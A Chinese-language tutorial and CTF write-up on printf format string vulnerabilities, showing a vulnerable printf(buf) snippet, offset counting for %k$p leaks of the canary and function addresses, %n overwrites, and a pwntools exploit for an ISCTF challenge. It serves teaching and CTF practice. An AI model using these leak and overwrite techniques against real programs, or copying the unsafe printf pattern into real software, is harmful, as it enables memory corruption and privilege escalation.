三个例子的引入
目前我遇到的格式化字符串漏洞(format string,后文简称fmt)主要存在于printf函数,本文也就以printf举例。
例一,标准格式的printf
read(0, buf, 33);
printf("%s",buf);
例二,占位符与变量
printf("%d %c %s",a,b,c);//%d %c %s会访问变量以输出整型,字符等。
其中a,b,c为三个变量。
例三,会引发格式化字符串漏洞的printf
read(0, buf, 33);
printf(buf);
对比起标准格式的printf,出现漏洞的原因是这里buf由用户控制,而如果用户输入如%d %c %s %x %p %n
等占位符,会让printf访问他的参数。明明例三中没有给printf任何参数啊。
%p等占位符参数来源
在gdb里看看就知道了。(由于屏幕问题,一次没截全)
我们知道64位的传参顺序为rdi,rsi,rdx,rcx,r8,r9,从AAAABAAA就是从栈上读取了.
可以看到输出的东西都是和六个传参寄存器里的东西一一对应,而之后的4141414142414141就是从栈上读取的内存了(252d70那个想都不用想就是%p-了)。
唯一的问题就是rdi和rsi的内容是一样的,并且只被输出了一次,这一点一直让我很疑惑,求求大佬教教。(哦对了,还有那个神秘的SUUUU48,可能是canary开启的原因?)
利用之一泄露
例题介绍
现在我们已经知道了如何利用fmt漏洞获取寄存器及栈上的内容。比如canary就可以通过这种方式获取。
这里看看例题,题目开启了canary和pie。
其中rbp-010是search函数真实地址(这个我真不知道是为啥)。rbp-008是canary。rbp+8是main函数真实地址。经测试,两个函数地址都可以拿来泄露。
%13$p占位符介绍
这是一个用来直接获取第几个参数的占位符。比如%6$p就是直接让printf读取第六个参数并且写出来。
泄露思路
现在我们试试直接计算%k$n的k应该是多少。
我们刚才知道传参寄存器会出于不知名原因少一个,所以按照5个计算。
以main函数举例,在栈顶从rdi
到rbp+0x8
,一个个数会更清晰一点。
0x7ffcfdbedde0 1
0x7ffcfdbedde8 2
0x7ffcfdbeddf0 3
。。。
0x7ffcfdbede18 8
5+8 = 13.所以用%13$p.(一定是从栈顶开始数,并且是printf前一步的栈顶开始数!)
利用之二改写
为什么可以改写,咱还得感谢一个占位符叫%n。
char buf = "bbbb";
int n = 0;
printf("aaaa%s%n",buf,&n);
在这个例子中,%n可以计算前面输出了多少字符,并且根据&n提供的地址把该地址保存的变量改写成字符数量。前面会输出8个字符,所以n会被改写成8.
一定要明白一个点,刚才我们是直接泄露值,现在我们是改写值。
而改写值需要提供的应该是一个指针或地址。
这一点我的理解是比如scanf就需要提供(&n)这样的地址,而printf不改写值,所以只需要(n)本身就行。
ISCTF的fmt题解wp
思路就和刚才差不多,只不过刚才是算要泄露的东西的地址偏移量,现在是算要改写的东西的偏移量。
我们看到只有v1是18并且v2是52才可以提权。
首先搞明白一点,我们需要提供的是一个地址,在刚刚
var_A8=v1;
var_A4=v2;
var_A0=&v1=v3;
var_98=&v2=v4;
var_80=&v1=buf[2];
var_18=&v2=buf[3];
现在有一个问题,我们有两个选择。v3和v4或者buf[2]和buf[3]都是地址,我们咋选呢。
我们输入的东西从buf[0]开始写,距离buf[2]和buf[3]很短,要是这样写下去,很容易把buf[2]和buf[3]覆写。这样就printf就取不到地址,也就改写不了v1和v2了。
所以确定用v3和v4。
现在在计算一下偏移量。寄存器还是一样的5,从栈顶开始往下数,v3代表的var_A0和v4代表的var_98是第三个和第四个。
所以用的是%8$n
和%9$n
。最后看看exp
from pwn import *
context(
terminal = ['tmux','splitw','-h'],
os = "linux",
arch = "amd64",
#arch = "i386",
log_level="debug"
)
io = process("./fmt")
#io = remote("43.249.195.138",20550)
def debug():
gdb.attach(io)
pause()
debug()
##################################################
payload = b'A'*18 + b'%8$n'#在%8$n前输出18个字符,让v1被改写成18
payload += b'A'*34 + b'%9$n'#在%9$n前再输出34个字符,让v2被改写成18+34=52
io.sendafter(b"> ",payload)
io.interactive()
就这样吧,大伙如果有哪里不懂或是有更好的见解欢迎来评论区交流,我看到了我也会回复滴。